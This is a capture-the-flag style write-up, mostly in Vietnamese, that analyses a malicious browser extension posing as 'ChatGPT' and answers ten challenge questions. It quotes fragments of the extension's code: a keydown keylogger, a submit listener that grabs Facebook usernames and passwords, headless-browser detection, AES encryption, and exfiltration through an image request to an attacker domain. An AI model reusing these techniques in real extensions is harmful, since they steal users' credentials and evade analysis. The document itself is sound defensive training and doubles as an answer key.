Your cybersecurity team has been alerted to suspicious activity on your organization’s network. Several employees reported unusual behavior in their browsers after installing what they believed to be a helpful browser extension named “ChatGPT”. However, strange things started happening: accounts were being compromised, and sensitive information appeared to be leaking.
Your task is to perform a thorough analysis of this extension identify its malicious components.
Author: @Mo.Elshaheedy
Q1: Which encoding method does the browser extension use to obscure target URLs, making them more difficult to detect during analysis?
Yêu cầu: Xác định phương thức encoding được extension sử dụng để che giấu URL mục tiêu.
Đầu tiên, tiến hành kiểm tra các file JavaScript của extension. Trong app.js có thể thấy một biến targets chứa chuỗi đáng chú ý:
1 | const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')]; |
Chuỗi kết thúc bằng dấu == là một dấu hiệu thường gặp của dữ liệu được encode bằng Base64 do cơ chế padding của định dạng này.
Base64
Q2: Which website does the extension monitor for data theft, targeting user accounts to steal sensitive information?
Yêu cầu: Xác định website mà malicious extension theo dõi để đánh cắp thông tin người dùng.
Từ câu trước, ta đã tìm được một target được lưu dưới dạng Base64:
1 | d3d3LmZhY2Vib29rLmNvbQ== |
Tiến hành decode chuỗi này:

Kết quả:
1 | www.facebook.com |
Kết hợp với đoạn code trong app.js:
1 | const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')]; |
Có thể thấy extension kiểm tra hostname hiện tại của trình duyệt và chỉ kích hoạt một số chức năng đánh cắp dữ liệu khi người dùng truy cập website nằm trong danh sách targets.
Q3: Which type of HTML element is utilized by the extension to send stolen data?
Yêu cầu: Xác định HTML element được malicious extension sử dụng để gửi dữ liệu đã đánh cắp về attacker.
Tiếp tục phân tích app.js, chú ý tới function có tên:
1 | sendToServer(encryptedData) |
Bên trong function có đoạn code:
1 | var img = new Image(); |

new Image() tạo một HTML image element, tương đương với:
1 | <img> |
Extension sau đó gán URL của attacker vào thuộc tính src và đưa dữ liệu đã mã hóa vào parameter:
1 | ?data= |
Khi browser xử lý image resource này, một request được gửi đến server của attacker. Nhờ đó malware có thể lợi dụng một HTML element thông thường để thực hiện exfiltration.
<img>
Q4: What is the first specific condition in the code that triggers the extension to deactivate itself?
Yêu cầu: Xác định điều kiện đầu tiên khiến extension tự vô hiệu hóa.
Đối với câu này, chuyển sang phân tích file loader.js, vì đây là nơi chứa logic kiểm tra môi trường trước khi extension tiếp tục hoạt động.
Có thể thấy đoạn điều kiện:
1 | if ( |

Extension thực hiện ít nhất hai phép kiểm tra:
1 | navigator.plugins.length === 0 |
và:
1 | /HeadlessChrome/.test(navigator.userAgent) |
Đây là dấu hiệu của kỹ thuật anti-analysis / sandbox detection. Malware cố gắng nhận biết các môi trường trình duyệt bất thường hoặc headless environment thường được analyst sử dụng để phân tích mẫu.
navigator.plugins.length === 0
Q5: Which event does the extension capture to track user input submitted through forms?
Yêu cầu: Xác định event được extension theo dõi để lấy dữ liệu người dùng gửi thông qua form.
Quay lại app.js, trong phần xử lý website mục tiêu có thể thấy extension đăng ký một event listener:
1 | document.addEventListener('submit', function(event) { |

Event:
1 | submit |
được kích hoạt khi người dùng submit một form.
Sau khi event xảy ra, extension tạo FormData từ form vừa được gửi và tìm các field:
1 | username |
Điều này cho phép malicious extension lấy trực tiếp thông tin đăng nhập khi nạn nhân submit login form.
submit
Q6: Which API or method does the extension use to capture and monitor user keystrokes?
Yêu cầu: Xác định cơ chế extension sử dụng để theo dõi các phím được người dùng nhấn.
Tiếp tục phân tích app.js, có thể tìm thấy một event listener khác:
1 | document.addEventListener('keydown', function(event) { |

Ở đây extension đăng ký listener thông qua:
1 | document.addEventListener(...) |
và theo dõi event:
1 | keydown |
Mỗi khi người dùng nhấn một phím, giá trị của phím đó được lấy thông qua:
1 | event.key |
sau đó được chuyển tới:
1 | exfiltrateData('keystroke', key); |
Như vậy extension hoạt động tương tự một keylogger, có khả năng ghi lại input bàn phím của người dùng.
keydown
Q7: What is the domain where the extension transmits the exfiltrated data?
Yêu cầu: Xác định domain được extension sử dụng để nhận dữ liệu đánh cắp.
Quay lại function:
1 | sendToServer(encryptedData) |
có thể thấy URL được hardcode trực tiếp:
1 | img.src = |

Dữ liệu được đưa vào query parameter:
1 | /collect?data=<encrypted_data> |
và browser sẽ tạo request tới server của attacker thông qua image resource
Mo.Elshaheedy.com
Q8: Which function in the code is used to exfiltrate user credentials, including the username and password?
Yêu cầu: Xác định function được sử dụng để exfiltrate username và password của nạn nhân.
Trong đoạn code xử lý event submit, extension lấy username và password từ form:
1 | let username = |
Sau đó kiểm tra:
1 | if (username && password) { |

Điều kiện:
1 | username && password |
đảm bảo rằng cả hai thông tin đã được lấy thành công trước khi function exfiltration được gọi
exfiltrateCredentials(username, password);
Q9: Which encryption algorithm is applied to secure the data before sending?
Yêu cầu: Xác định thuật toán encryption được extension sử dụng trước khi gửi dữ liệu về attacker.
Để tìm thuật toán mã hóa, chuyển sang phân tích file crypto.js.
Trong file này có object:
1 | window.CryptoUtils |
và function:
1 | encrypt: function(data) |
Bên trong có đoạn:
1 | const key = |

Dòng quan trọng nhất là:
1 | CryptoJS.AES.encrypt(...) |
cho thấy extension sử dụng AES – Advanced Encryption Standard để mã hóa dữ liệu trước khi exfiltration.
Ngoài ra, code còn tạo một IV ngẫu nhiên:
1 | CryptoJS.lib.WordArray.random(16) |
và cuối cùng chuyển ciphertext sang Base64:
1 | encrypted.toString(CryptoJS.enc.Base64) |
AES
Q10: What does the extension access to store or manipulate session-related data and authentication information?
Yêu cầu: Xác định loại dữ liệu trình duyệt mà extension được cấp quyền truy cập để thao tác với session và thông tin authentication.
Cuối cùng, tiến hành kiểm tra file:
1 | manifest.json |
Đây là file khai báo metadata và các permission mà Chrome extension yêu cầu.
Trong phần permissions có thể thấy:
1 | "permissions": [ |

Trong đó permission đáng chú ý là:
1 | cookies |
Cookie thường chứa các dữ liệu liên quan đến trạng thái đăng nhập và session của website. Việc malicious extension có quyền truy cập cookie làm tăng khả năng attacker thu thập hoặc lợi dụng thông tin authentication của người dùng
cookies
ATTACK CHAIN
